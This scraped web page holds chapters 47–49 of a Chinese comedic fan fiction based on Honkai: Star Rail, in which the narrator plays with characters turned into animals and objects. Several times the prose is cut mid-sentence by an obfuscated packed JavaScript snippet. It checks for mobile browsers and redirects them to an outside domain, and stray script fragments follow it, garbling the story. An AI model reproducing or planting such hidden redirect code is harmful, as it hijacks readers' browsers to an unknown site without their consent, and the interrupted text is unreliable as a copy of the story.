你叹了口气,“不是不去问,是知道问了他也不会说。” “那么为什么你觉得我就会说呢。” 罗刹的声音温温柔柔的,语气中还带些许笑意。虽然景元说话的时候也是带着笑,但感觉还是不一样的。景元的笑是比较爽朗的,而罗刹的是比较……呃,宠溺? ! 这是什么的形容词! 不行,不能比较了。 在比较下去还不知道要比较出个什么形容词呢。 面对罗刹的提问,你再次一巴掌拍在脑门上,“我也不知道你会不会说,但是就是碰个运气。” “看来今天你的运气不太好。” 罗刹的这句话几乎是给了拒绝的回答。 “……”你顿时也来了脾气,“运气好不好不是由你说了算的。” “哦?那是由谁说了算?愿意领教。” 什么嘛,这句话说得好像你要对他动刑似的。 你才不会采取那一套呢。 你有自己的办法。 你直接把正在吭哧吭哧踩核桃的砂金抱了过来。这家伙正在和波提欧玩砸核桃玩得不亦乐乎,猝不及防被你抱起还稍微吃了一惊,但随机就开始不正经起来:“朋友,终于想起要占我的便宜了吗?” 什么叫终于想起? 语气还颇为幽深,好像你对他始乱终弃似的。 不过为了迎合砂金的趣味,你还是小小地表演了一下。 “是呀。”你一手抱着砂金这只小孔雀,一手摸着他的脑袋,“便宜得趁早占,否则等你变成人了我就占不着了。” “其实这个问题很好解决。”砂金还真的像模像样回答道:“你其实什么都不做就可以,就让我们十七个人一起陪着你,夜夜笙歌……” 夜夜笙歌什么鬼。 你没忍住揪了一把砂金头上的羽毛。 砂金立即求饶道:“朋友,我错了。” 能不能有点儿出息,别跟桑博学! 你纠正道:“什么十七个人,你们都不是人。严格来说,只有桑博一个人。” “朋友,你也不是人。” 你又要去揪砂金的羽毛。 砂金立即道:“你是神。” 你——是——我的神! “……” 你禁不住哆嗦了一下,立即把砂金放在罗刹的面前,“我的运气好不好,他说了算。” “哼!”刃这把剑也来凑热闹,阴沉道:“直接一剑劈了他。” 呃。 事实证明,刃真的是个暴脾气。你和砂金还没等说话,他就直接朝罗刹劈了过去。 也不知道卡芙卡放他出来是怎么放心的。 你扶着脑袋叹了口气。 要打架为什么前几天不打,后几天不打,偏偏在这个时候。 “朋友,他们就是打给你看的。”砂金抖落了下自己五彩斑斓的羽毛,努力释放着自己的色彩。 呃。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493741|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你是不是也是展示给我看的?” “当然,朋友。”砂金承认得理直气壮。 你叹了口气。 砂金承认得这么爽快你都不知道怎么回答好了。 许是看你有些垂头丧气,砂金安慰你道:“朋友,别整天唉声叹气了。一张脸皱巴巴的,老了以后会长皱纹的。” “你觉得我会老吗?”你不由得觉得有些好笑,摸了摸砂金的脑袋,“你觉得我会在乎老不老吗?” 如果你能老的话,你的时间诅咒力应该就会消失了吧。 你可不想到老了周围还围着一群小家伙。 “再摸就要秃了哦。” 在贝洛伯格你也没少摸砂金的头。 你赶忙收回了罪恶之手。 “挚友,你的善良一如既往。” 银枝来冒个头,你心生恶念,直接扯了一瓣玫瑰花瓣塞进嘴里,细细地咀嚼起来。 “挚友……” 银枝被你的行为惊呆了,但还没等他说出后面的话来,欧泊就直接朝他喷出了一口奶水,哭着闹着要银枝给个说法,说是什么银枝占了他的位置。 至于这个位置,估计指的就是你的嘴巴。 这么一想,你好像很久不含着欧泊了。 因为真的是太羞耻了。 欧泊这么一闹,正躺在你的床头柜上睡觉的舒俱忍无可忍,直接一手串甩向欧泊,直接把他这个小奶嘴甩到了地上。然而还不等欧泊这个小孩子爬起来,就恰到好处地被砂金这只花孔雀的脚踩了一下。 呃。 你好像无意间欣赏了一出公司内部的斗争。 还是极为幼稚的。 什么商战呐,什么杀人不见血啊,都是子虚乌有。 砂金这一脚像是踩到了某种机关,欧泊的哭声震得天花板都险些掉了下来。丹恒本来是贴在墙面上无所事事的,结果直接被震了下来。正在和罗刹打斗的刃不知怎么就看到了,趁势挥出一剑,势必要把丹恒拦腰劈断。 这下波提欧不干了,扔下被敲得只剩渣渣的核桃,直接将枪口对准了刃。星期日本来也在啄着核桃渣的,这下有了新热闹看,也扑闪着翅膀赶来。 罗刹和丹恒抽身出来,只剩刃和波提欧在互殴。丹恒看了一会儿后,顿觉良心欠安,便帮忙波提欧一起对付刃。正在外面和景元奏乐的青竹听到了屋里的声响,不由分说便一笛子打在了刃的剑柄上。 这下可热闹了。 屋里顿时飞沙走石,黄沙漫天。各种物件被席卷进漩涡里,然后又以粉碎性骨折的方式出来。 这几个家伙就跟绞肉机似的。 你无奈吐槽了一句。 能不能把你也绞进去。 “想得美。” 真理医生不知道什么时候趴在了你的脸上,正好为你遮挡住外面刺眼的阳光。你直接往地上一躺,拽过椒丘这个粉毛狐狸当枕头,又把旁边正在看热闹的景元当抱枕,然后开始呼呼大睡。 地板,真舒服。 “小生愿意为姑娘效劳。” 你侧了个身,另一只手无意识摸向椒丘的腹部。冷不丁揪到一个什么小疙瘩,以为是毛发上沾染了什么脏东西,便捏住想把他揪出来。直到听到脑袋下的椒丘发出一声难耐的声音:“……姑娘,小生……收回方才的话……” 47.垃圾星 你觉得你好像对椒丘太过忽视了。就一种很奇怪的感觉,倏然间一下子觉得特别对不住他。但没想到的是,就只是关心一下的程度,居然惹出了这么大的乌龙。 波提欧在打架之余还不忘调侃你:“他宝贝的,真的是和在庇尔波因特时一毛一样。” 庇尔波因特? 你想起来了,好像是给波提欧拧螺丝的时候,因为光线太暗你没有看清,于是就摸到了什么东西。当时波提欧还骂了你一句,当然你没怎么在乎,反正他不是在骂人就是在骂人的路上,什么“小宝贝”“小可爱”层出不穷。 你赶忙离开了椒丘的肚子,也不再敢去摸什么东西了,顺手抱起了景元往外走。 屋里折腾成什么样子你都不管了,他们爱怎么折腾就怎么折腾吧。 其实你是想找个地方缓缓吧。 脸好像是有点儿烫。 你摸了摸自己的脸,顿时恨不得找条地缝儿钻进去。偏偏怀里的景元还在调侃你,他学着椒丘的话,“姑娘,小生收回方才的话。” 比起椒丘的难耐和压抑着的情绪,景元的语气要显得玩味一些。星期日也赶来凑热闹,他扑闪着翅膀,幸灾乐祸道:“姑娘,随你对小生做什么都可以。” 这个语气,莫不是星期日被夺舍了。 你说出了自己的疑问。 星期日嬉笑着道:“这你就有所不知了,我体内住着另外一个我的灵魂,你可以叫他万维克。” 万维克……万维克……one week? 好家伙。 谐音梗算是被你玩明白了。 你幽幽道:“为什么不叫星期六?” 比起星期日,大家估计都喜欢星期六。当然,这只是对于双休的牛马来说。对于单休的牛马,还是星期日要更喜人得多。 如果每一天都是星期日该有多好。 想起这个,你就对闻名寰宇的星穹列车有了些许怨言。他们一群银河街溜子,怎么会明白一些牛马的痛苦。 唉。 你叹了口气。 近期你叹气的次数似乎更为频繁了。 可喜可贺,可口可乐,你终于发现了。 但你无法解释到底是什么原因,虽然也有小家伙们不能恢复原形的苦恼吧,但是应该也不至于让你如此苦恼。 难道是因为什么其他的原因? 你丢下景元和兴趣日,只身朝侦探社走去。现在的你几乎养成了习惯,有什么事情都想去找桑博。 完蛋,你已经对他有了依赖感了。 不过也无伤大雅,谁让他是假面愚者呢,谁让他是挑起一切祸端的罪魁祸首呢。 这个时间点,桑博应该就在侦探社。 你已经迫不及待想给他一顿了。 什么叫一顿? 当然是给他一顿打。 不知道为什么,你见到桑博就忍不住手痒痒,一手痒痒你就忍不住上手。 你向来不屑于掩饰自己的真实欲望。 上手就上手了。 你先是把他那头蓝色的头发揉得一团糟,然后在他求饶声中疯狂蹂躏那张白皙的面庞。刮刮鼻子,扣扣眉毛啦,揉搓脸蛋,亲吻脸颊啦,都已经是常规操作。不止如此,你还特别喜欢拨弄他的下唇角。最后的最后,才是微微挑起他的下巴,大拇指轻轻抚摸着唇角。 每当这时,桑博那双绿色迷人的眼睛就会深深地看着你。你几乎要被他那双灼热的眼神慑住。视线缓缓下移,盯着他的鼻头。鼻翼上已经冒出些许密密麻麻的汗珠,你禁不住将手再次往下移动,指头玩弄了一会儿锁骨后揪住他的领带。 桑博被你拉扯得微微朝你靠近。 ! 打住。 你的脸已经稍稍发烫了。 这件事发生在前不久,到底是有多不久你已经忘记了。你只记得那天你喝多了酒,反正就是心里不顺。身旁都是小家伙,没有一个人形的能让你尽情地依靠下。 椒丘和加拉赫的体型倒是不小,只是现在他俩都是四条腿走路,根本无法站立。你只能去找桑博,直接扑倒在他怀里。 后面的事情你已经忘记了,仅有的记忆就是上面那些。第二天你醒来的时候脑袋还有点儿昏沉沉的,罗刹给你喝了好几口醒酒汤你才悠悠醒转。之后的几天你就没见到桑博,你也没有在意,很快就把这件事情抛之脑后。 直到现在你想到桑博了,才想起这件事情。 “混蛋!” 有什么声音传到了你的耳边,听起来像是砂金会说出来的话。你的思绪被打断,忍不住朝着声源望去。 原来是砂金、星期日和加拉赫,正在互相对骂。什么混蛋、鸡翅膀、丧家犬全都出来了,但是基本对于你来说杀伤力为零。分明骂得不是你,你却听着津津有味,反倒还有些越听越上瘾。 在挨骂的赛道上你可谓是一骑绝尘。 “挚友,从未看出你还有这种癖好。”银枝不知何时已经来到你身前,然后理所当然地塞了你一嘴玫瑰。 “……” 你有些无奈地把银枝从嘴里拿出来。 叼着玫瑰的样子简直是太滑稽了,比起叼着奶嘴的效果简直是有过之而无不及。 不过话说回来,银枝这个接受能力也太强了,从之前的震惊到坦然再到甘之如饴,居然看不出任何勉强的痕迹。 你把银枝插在了头上。 “恩人。” 青竹这只竹笛也来凑热闹。 你摸了摸鼻子,好像对青竹也有点儿太过于忽视了。便直接将青竹拿来凑到嘴边,轻轻吹了起来。 当然,你对你的能力还是有自知之明的。本以为吹出来的音乐不堪入耳,但没想到却是意外地好听。 你知道是青竹帮了大忙,他已经在努力地修正你了。你越吹越带劲儿,青竹也是越来越费劲儿。直到最后他直接原地爆炸了,还夹了一下你的嘴巴。 你痛得呜呜叫。 青竹更加不知所措了,呆呆地愣了一会儿后,他快速把自己修复好,然后吹起舒缓的音乐。 你听着听着就不痛了。但嘴巴上还是有伤口的,而且十分明显。 这么大的声响自然没办法瞒过正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507883|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵架的三个人,他们纷纷朝你看过来,看到你嘴上的伤口后,不约而同露出惊讶的神情。 砂金笑了起来:“朋友,这可真让人意外。” 星期日刚才还是万维克的状态,呃,现在估计也是。他几乎是和砂金一模一样的神情,不,甚至比砂金更过分:“哈哈哈,介意让我也在你的嘴上弄个伤口吗?” 此话一出,原本局促的青竹就更加局促了,他的神情有些不自在,竹笛上泛起羞涩的红色。 加拉赫是个话不多的人,也没和星期日还有砂金一起霍霍青竹,而是挺着胸脯直接走到一边去了。 你为了转移砂金还有星期日的注意力,直接抱起了加拉赫。那么修长的一条猎狗,你抱起来几乎比你的身高还高。 你几乎是半抱半拖着。加拉赫有些睡眼惺忪,声音透着些许低沉:“你要把我抱到哪里去?” 你一直以为加拉赫和砂金差不多,能轻松抱起砂金的你抱起加拉赫肯定也很轻松。当然,你料想得不错。力量方面你从来没怕过谁,但是加拉赫实在是不好抱,太大了,而且还是一根长条。 你叹了口气,直接把加拉赫扛在了肩膀上,然后往前冲刺。 “他宝贝的!”波提欧这家伙总是能及时出现,“你个小可爱要去哪儿?” 刃也冲了上来,冷哼一声:“直接朝心窝子捅上一剑就知道了。” “打你们的架去。”你没好气道:“关你们什么事儿。” “谁他宝贝的稀罕管你。”波提欧骂骂咧咧地走了。只有刃还在你的旁边不肯离去,你抱着加拉赫跑着跑着也累了。 而加拉赫早在你的肩膀上睡着了。 刃突然间问道:“你嘴上的伤是怎么回事。” 你不在意地把加拉赫放下,摸了摸破了皮的唇角:“被别人咬的。” “谁咬的。” 你恶趣味上头,“你咬的。” 刃被你的回答愣了一愣,随机阴沉道:“这可是你说的。” 你生怕刃真的给你来上一口,忙捂住嘴巴。刃突然间笑了,仿佛是在笑你的胆小。于是,你怒了,直接照着刃的剑身舔了一圈儿。 舌头当然是被划伤了。 一股铁锈的味道盈满你的唇间,不知道是你血液的味道还是刃剑身的味道。 刃着实又是愣了一愣。 这下轮到你哈哈大笑了。 你舔了舔自己的唇角,双手环胸,学着刃的样子冷哼一声:“如何?” 你从刃剑身反射的寒光中看到了此时自己的样子——灰白色的发丝随风舞动,红艳的唇瓣像是抹了胭脂一般,些许鲜血从唇角渗出。神情带着三分讥笑三分轻蔑以及四分洋洋得意。 合着你的脸是个扇形图是吧。 刃此时的神情也是红白分明,他深深地看了你一眼,然后嗖地一声飞走了。 哼哼,被你吓到了吧。 你抹了下唇角的鲜血,嘴里再次发出一声冷哼。 但你没有得意多久,因为刃拖着一个亮晶晶的东西飞来了。你定睛一看,那好像是个闪耀着光的白花项链。 48.垃圾星 哦。 天呐。 刃真的,你哭死。 事到如今,不管你怎么折腾,他居然第一时间想到的是你的伤口。 是的。 原来你还只有嘴巴上被青竹爆笛后夹出来的伤口,如今又加了舔舐刃剑身后在舌头上留下的伤口。虽然不至于很疼,但是鲜血盈满唇齿的铁锈味道还是有些难受的。 所以,刃直接用剑柄将罗刹这条白花项链给扯来了。估计罗刹也很无奈吧,刚才两个人还大打出手,现在却被刃直接拖着来治疗你的伤口。 罗刹的心情你可以理解。 所以在他不情不愿的时候,你决定率先出击——直接头也不回地逃之夭夭。 这番操作估计桑博看了都会目瞪口呆。你沾沾自喜之际,面前却出现了一个放大版的欧泊。他庞大的身躯跳动着,奶嘴的构造也软软弹弹的,活像只巨大的果冻。 你没忍住直接咬了一口。 嘶。 居然不是奶香味的,而是酸辣味道的。 好家伙,这小家伙身躯变大了,连带着味道也变了吗。不过这也有好处,带着他出去都不用水杯了,得开着水车。 你已经脑补出一个奶嘴形状的洒水车在宽敞明亮的大路上畅通无阻。后面跟了一些嗷嗷待哺的婴儿,他们在纸尿裤的年纪,就已经学会了在马路上爬行。 受不了你了。 这是什么样的壮举。 不过话说回来,奶嘴吸引的也不止是小婴儿,还有一些成年人。他们穿着笔挺的西装,胳膊下夹着一个公文包,闻着味道而来。 果真不愧是星际和平公司战略投资部的欧泊。拥有着小孩子的身躯,却有着精英的头脑。不仅能吸引小孩子为其鞍前马后,还能引得一些成年人甘之如饴。 “朋友,在想些什么?”砂金这只花孔雀不知道什么时候跑到了你的跟前,五彩斑斓的尾巴已经变成了一把大伞,煞是美丽。 你看得口水直流,禁不住上手摸了一下。 光滑。 这是第一时间出现在你脑海中的两个字。 你禁不住又摸了摸。 这下就不仅仅是光滑了,其实还有点儿扎手。 你悻悻地缩回了爪子,但是却抱住砂金猛地亲了一大口。砂金被你的操作弄得面红耳赤,却还是禁不住调侃你一下:“朋友,终于舍得对我投怀送抱了吗。” 投怀送抱什么鬼。 请换个词儿谢谢。 见色眼开? 还不如投怀送抱呢。 你生气了,抱着砂金又亲又啃。 你觉得自己可能是魔怔了。 自从上次调戏老桑博后,你就越发放得开手脚了。以前还只是觉得你与这群小家伙都只是彼此生命中的过客,虽然现在你也这么以为,但是你的胆子却是比原先大了很多,寻机就对他们上下其手。他们虽然感叹于你的变化,但对你的举动丝毫不敢反抗,只能乖乖地任你蹂躏。 难道这也是诅咒的一部分吗。 刺啦一声。 你被打断了思绪。 一个什么苹果从你的头上掉了下来,而且还正好砸在你的头顶上。而你的头顶像是有天然筑成的凹陷加上莫名其妙的吸引力一般,居然稳稳接住了苹果,并且使得它还矗立在你的头顶上。 你有些疑惑地把苹果拿下来。 苹果掉下来的声音怎么会是刺啦一声呢,像是什么东西被从中间硬生生扯开了一般。 不等你研究明白究竟发生了何事,又是刺啦一声。你有些麻木地抬头,这下倒是正常了些。 因为是真理医生这本书从中间裂开了。 哦。 天呐。 离奇古怪的事情年年有,然而今天特别多。 “教授。”此时砂金还被你抱在怀里,他的神情看上去有几分挑衅的味道,“来晚了一步哦。” 呃。 小砂金。 小孔雀。 你想说些什么,但鼓足勇气却只是叹了一口气。 或许他误会了什么。 此时的真理医生或许不是因为吃醋才从中间裂开了,而是因为这个代表聪明智慧等等一系列跟智识有关的词语的苹果好死不死砸在了你这个跟智识沾不到一毛钱关系的人头上。 要是真理医生知道你还曾经得到过机器头的暼视,不知道他会不会哭啊。如果你狠狠欺负他,他会不会一边哭一边骂你啊。 不知道为什么,想起这些你居然有些热血沸腾。 哦。 天呐。 你一巴掌拍在自己的脑门上。 差点儿没把闻讯赶来的螺丝咕姆拍死在你的额头上。 “行为:主神欲置我于死地。逻辑:我的存在已经威胁到了主神的安全。结论:主神不想要我了。” 听着螺丝咕姆如往日般温柔的语气,你简直有种无力吐槽的感觉。 但该吐槽的还是得吐槽。 螺丝咕姆,螺丝君王,你在用你天才般的大脑思考些什么啊! 你向来会抓重点,再次重申道:“我不是你的主神。” 本以为螺丝咕姆听了这话会知趣地不再说些什么,不料他却变本加厉:“主神已经厌弃我到这种地步了吗?” 哦。 天呐。 你再次一巴掌拍在了自己的脑门上。 恨不得立即原地去世。 你直接一头撞在了真理医生裂开的书上。 事实当然是安然无恙,不过却把真理医生吓个够呛,直接在空中翻转三百六十度完成完美的后空翻。 精彩! 你忍不住拍手叫好! 却不知道是在为你还是在为真理医生。 “教授还有这般才艺,待在博识学会倒是可惜了。”砂金趁机调侃道:“公司旗下还有个娱乐公司,不若教授去替代一下叽米先生的位置。” 叽米先生没惹任何人,谢谢。 说起叽米,你似乎对他这只鸟有点儿印象——一只肥肥的小团子,看上去就特别好吃。 此处有口水留下。 再次重申,叽米先生没惹任何人,谢谢。 好惨一只鸟。 你忍不住发出唏嘘的声音,同时心里有了一个捣蛋的想法。 既然人形xp遇到你会变成非人之物,那么非人之物xp遇到你会不会变成人呢。 虽然叽米不见得是雄性鸟类,但是试一试总没有坏处,不是吗。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522118|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说不定你还能收获一位除桑博之外的美男子。 嘻嘻,听起来是还不错哈。 再三重申,叽米先生没惹任何人,不谢。 说干就干。 这次挑选伙伴没有费太多时间,你直接把公司的四个……哦不是五个……哦也不是,是六个……嘶,还是四个吧。总之就是能带的全都带上了,不能带的还有带不走就只能留下了。此次庇尔波因特之旅,有砂金,有真理医生,有舒俱,有欧泊。 至于为什么刚刚在人头上那么纠结呢,当然是核桃和波提欧这对儿冤家对头有些难办。你本来是忘了核桃的,但是核桃壳碎裂的声音实在让你无法忽视。便想着带他一起回去,但是波提欧不干了,张口闭口小宝贝,骂得那叫一个暧昧又很脏。无奈,你只能丢下核桃带着原先的四个一起去庇尔波因特。 桑博对此颇有微词,说是先前说好要去翁法罗斯一探究竟。为了找盾才转道去贝洛伯格,耽误了一些时间,现在从贝洛伯格回来了,该去翁法罗斯不是吗。 你对此不想解释。 翁法罗斯明显是记忆聚集的地方,说不定还会遇到记忆星神。到时候可就尴尬了,暼视吧,让你恢复了以前的记忆和能力。不暼视吧,还能让你在翁法罗斯乱霍霍吗。 你是个好孩子。 绝对不会给任何人添任何不必要的麻烦。 你双手合十,默念三遍。 善哉善哉。 “你要和我一起去吗?” 此时的桑博眼睛上还戴着残留的面具,你没忍住伸出了手。你也不知道为什么要伸手,但就是有一种感觉。 或许那个面具你能拿下来。 但事实证明,你还是高估自己了。 那个面具就像是焊死在桑博的脸上一样,任你怎么使劲儿都拿不下来。桑博疼得嗷嗷叫唤,你也是满头大汗。 最后你还是放弃了。 桑博的额头上冒着密密麻麻的汗珠,但还是强憋出笑容来安慰你:“伙计,现在这样我已经很满足了,不用再强求什么了。” “……” 你恨恨地敲了敲桑博的面具,“这到底是什么做的。” “这个嘛,假面愚者之间的共同秘密,概不外传。” 你直接揪住了桑博的领子。 桑博其实不矮的,但是被你这么拎着竟然在气势上生生矮了你一截。他赔着笑容,“伙计伙计,有话好说,先放开我的脖子。” 你揪着桑博的领子把他拖到外面。 桑博估计被你这番操作直接搞懵了:“伙计,伙计,什么情况。” 想来他是想不明白刚才还为他费尽心思摘掉面具的你,为何突然会性情大变。 其实你也不知道你在干什么,只是心里一个念头,你想做就直接做了。桑博被你拖拽得有些呼吸不畅,脸色发紫,口吐白沫。他估计是意识到了事情的严重性,不再求饶,而只是静静等待着接下来被你拷问的命运。 呃。 其实事态也没有那么严重。 你只是把他拖拽到了刚才你被苹果砸过的地方,然后把苹果放在了桑博的头上。 接下来就是见证命运的一刻。 你再次伸手探向桑博的面具。 49.庇尔波因特 奇迹,就此诞生。 正当你将要触碰到桑博的面具时,这个老东西却及时捂住了自己的脸,同时带着嘿嘿的笑容:“伙计,这个就有点儿违反规定了吧。” 你以为是先前你对他的上下其手引得他对现在较为平常的触碰都感到敏感,便有些悻悻地收回了手,但却理不直气也壮道:“比这更违反规定的事情我们都做过了,还有什么不能违反的。” 桑博瞠目结舌。 还没来得及走的砂金和真理医生以及螺丝咕姆的脸上都挂上了难以置信的表情。 这下不仅连真理医生从中间裂开,就连砂金的神情也有些分裂,他皮笑肉不笑道:“朋友,你们……已经坦诚相见到如今……这个地步了吗?” 坦诚相待什么鬼。 小孔雀,请停止你的危险发言。 你竖起一根手指在砂金的面前晃了晃:“听我说,你刚才什么都没有听到。” “我听到了。”真理医生显然已经不满足于这样的打哑谜。 对于砂金你可以威逼利诱,但是对于教授你还是要保持起码的敬畏心。 你叹了口气。 桑博已经逃之夭夭。 你捡起地上的苹果,捏在掌心里,像是握住了一个鸡蛋一般。你知道真理医生和螺丝咕姆不可能无缘无故对这个苹果感兴趣,便问起了缘由。 听到你这般询问,真理医生裂开的部分终于开始慢慢缝合。他哗啦啦翻着书页,开始解释:“几日前,我与螺丝咕姆推算出将有一颗苹果落下,且正巧砸在一个人的头上。” 螺丝咕姆温声道:“逻辑:被苹果砸到的人是博识尊所赏识的人。结论:主神的魅力即使连星神都忍不住驻足停留。” 哦。 天呐。 看来螺丝咕姆果然跟着银枝学坏了,说的话都透露着一股子纯美的味道。 果然不能让两个优雅的家伙待在一起。 不过话说回来,那个机器头到底想干什么。难道这家伙也和阿哈一个鼻孔出气,非得搅得银河都乌烟瘴气不可吗。 虽然过往印象告诉你机器头绝对绝对不是这样的人,他估计只是想探索银河宇宙间的奥秘,所以就盯上了你。 但是! 当一个人有了和别人不同的解读后,即使他的心里不是这样想的,他最后的目标还是和阿哈殊途同归啊。 你直接仰天吐出一口凌霄血。 然后直接倒地不起,希望就此长眠地下,再不复起。 “如果你需要一场这样的美梦,我可以助你永不苏醒。” 星期日不知何时已经扑闪着翅膀飞到了你的脸上,踩着你脸颊上的肉肉。那个效果跟小孩子踩在软软的沙发上,然后一步一个脚印差不多。 奇了怪了。 你的脸又不是海绵做的。 你有些疑惑地起身,捏了捏自己的脸颊,居然发现可以粉嫩嫩地掐出水来。 此处你有话说。 这个掐出水来可不是形容词哈,是个比较写实的东西。 你的脸居然真的掐出水来了。 完蛋,这下真的成沙发里的海绵了。 你用力捏了一下自己的脸颊,直到把脸上的水都排了出来。 真理医生飞到你的跟前,“看来你的脑袋里进水了。” 呃。 虽然是事实没错,但怎么感觉他在骂你。 你怒而抓住真理医生,直接把他夹到了腋下。然后二话没说抱着砂金冲回了你的房间,把舒俱和欧泊也一起带上了。 手腕上带着舒俱来手串,嘴里叼着欧泊这个奶嘴,腋下夹着真理医生这本书,另一只手还抱着砂金。再配上你那副不可一世的表情,这幅画面怎么看怎么诡异。 此次庇尔波因特之行,你要做的就是把叽米那只雪鸮,又叫白猫头鹰给抓过来,然后狠狠丢进锅里煲汤。 叽米先生真的没惹任何人。 这个声音已经带了哭腔了。 你注意到一个黄色摄像头在盯着你做独家报道,小小的黑色屏幕上有一双不灵不灵的卡兰姿大眼睛,看上去憨憨又可爱。 “你是?” “我是卡美丽。” “你是人还是摄像头?” “呃,这个嘛。”卡美丽显得有些为难,“是人还是摄像头其实也没什么分别。有的人是人,但却充当了摄像头的作用。有的摄像头是摄像头,但却充当了人的作用。” 看得出来,卡美丽在认真地和你解释,而且极其谨慎小心,生怕你会动怒似的。你很奇怪,一直以来你的脾气都好得很,自认有记忆以来没做过什么特别出格的事情,为什么这位美丽的卡美丽女士会如何忌惮于你呢。 对于你的疑问,卡美丽再次表示很为难。 你想了想,换了一个温和的口吻:“没事,你说,我保证不打死你。” 此话一出,卡美丽差点儿没给你跪下。 不敢当也不敢动。你若是胆敢上前走一步,试图搀扶于她,卡美丽这一下高低得把你的脑袋磕出个花儿来。 你对这位卡美丽女士也有所耳闻,想当初也是代替过叽米主持过一次娱乐公司的活动的。那磕到桌子上的一下暴击后冒出来的一串数字,差点儿没把你的下巴惊掉。好在罗刹及时为你托住了下巴,你才没有落得脱臼的下场。 不能受也扶不了。 为今之计只有躲到卡美丽的后面。 没想到这一番举动更是把卡美丽吓了一跳,她慌忙转身,“你要拔我后背上的插销吗?” 呃。 你很疑惑,既然这个卡美丽这么畏惧你,又为何要做你的独家专访呢。 “这个……”卡美丽又又又显得很为难,“因为我是位新人,想要做出成绩就必须得敢于冒险。” 呃。 原来采访你已经被称之为冒险了吗。 何其有幸。 何其不幸。 一时之间,你不知道是该哭还是该笑。 但鉴于卡美丽实话实说的好习惯,你决定把叽米煲成汤的理由又加了一个——帮助卡美丽上位。 只要娱乐公司没了叽米,卡美丽就能得到重用了。但鉴于卡美丽几次三番说叽米先生没惹任何人,你觉得还是不要告诉她为好,省得她有负罪感。 “没看出来,你人还怪好的哩。” 说话的是舒俱,这个家伙简直就是砂金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524900|165671||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和真理医生的组合,一样的花枝招展,一样的舔下嘴唇就能把自己毒死的那种。 之前在贝洛伯格没怎么了解过他,如今在垃圾星住了这些许日子,你也总该对这个家伙有点儿了解了。 你直接把舒俱从手腕上撸下来,然后戴在了脚脖子上。 ! “你……做什么……” 舒俱的话忽然间变得有些磕磕绊绊,像是被人撩了脸红似的。 你疑惑了。 不就换个位置吗,省得挂在手上看着心烦,丢到脚脖上也不用整日在眼前晃了。不过脚脖子确实比手腕敏感一些,舒俱稍微动一动你就感觉浑身不太得劲儿。无奈,你只能撕了点儿真理医生的书页,团巴团巴塞到了舒俱和你脚腕的中间。 真理医生心疼坏了,直接在你脑袋上敲来了一下,冷哼道:“朽木不可雕也。” 幸好不是老夫子那种的恨铁不成钢。 你默默地在心里想。 被砸了你还能这么想。 果然脑回路清奇,且无与伦比。 谢谢夸奖。 这不是在夸你。 管他呢。 虽然挨了真理医生一下,但你还是把自己哄好了,抱着砂金这只孔雀一顿猛亲,亲得砂金的毛都掉了几根。 得亏砂金现在不是个人形,否则整张脸都被你拔了火罐。 “朋友,想来点儿更有趣的东西吗?” 砂金在诱惑你。 他在玩火。 正当你要揪他尾巴时,庇尔波因特到了。 你只能作罢。 这里还是一如既往地灯红酒绿,车水马龙。此时此刻,你站在公司大楼的下面,有些无所适从。如果这个大楼能变成人,你高低得问它一句:“还活着呢。” 它估计也会回你一句,“活着呢,活得好好的。咋着,你再给我炸一下?” 实话实说,的确有这个想法。就是不知道在你身边的几个或多或少都与公司有点儿关系的家伙同不同意。 笑死。 你是看别人脸色生活的人吗。 说得也是。 你直接让几个小家伙散开去找叽米,不管是用骗的拐的还是掳的掠的,亦或是是绑的抢的,天黑之前你要叽米出现在你的面前。 砂金自然是乐意之至,欧泊也是没有话说,就是真理医生和舒俱有些难办。 你对真理医生承诺——下次见到机器头的时候一定把祂留住,让教授看一眼。 真理医生冷嗤一声:“谁稀罕。”话虽这么说,但他还是帮着去诓骗叽米了。 至于舒俱嘛,你就没有像对真理医生那么好的耐心了,直接把他往手指头上一勾,一拉,一拽。 串起舒俱的绳子便如你期望那般断了。 石头洒了一地。 你看着他被千万人踩踏而过,终究还是不忍心将他再次串了起来。 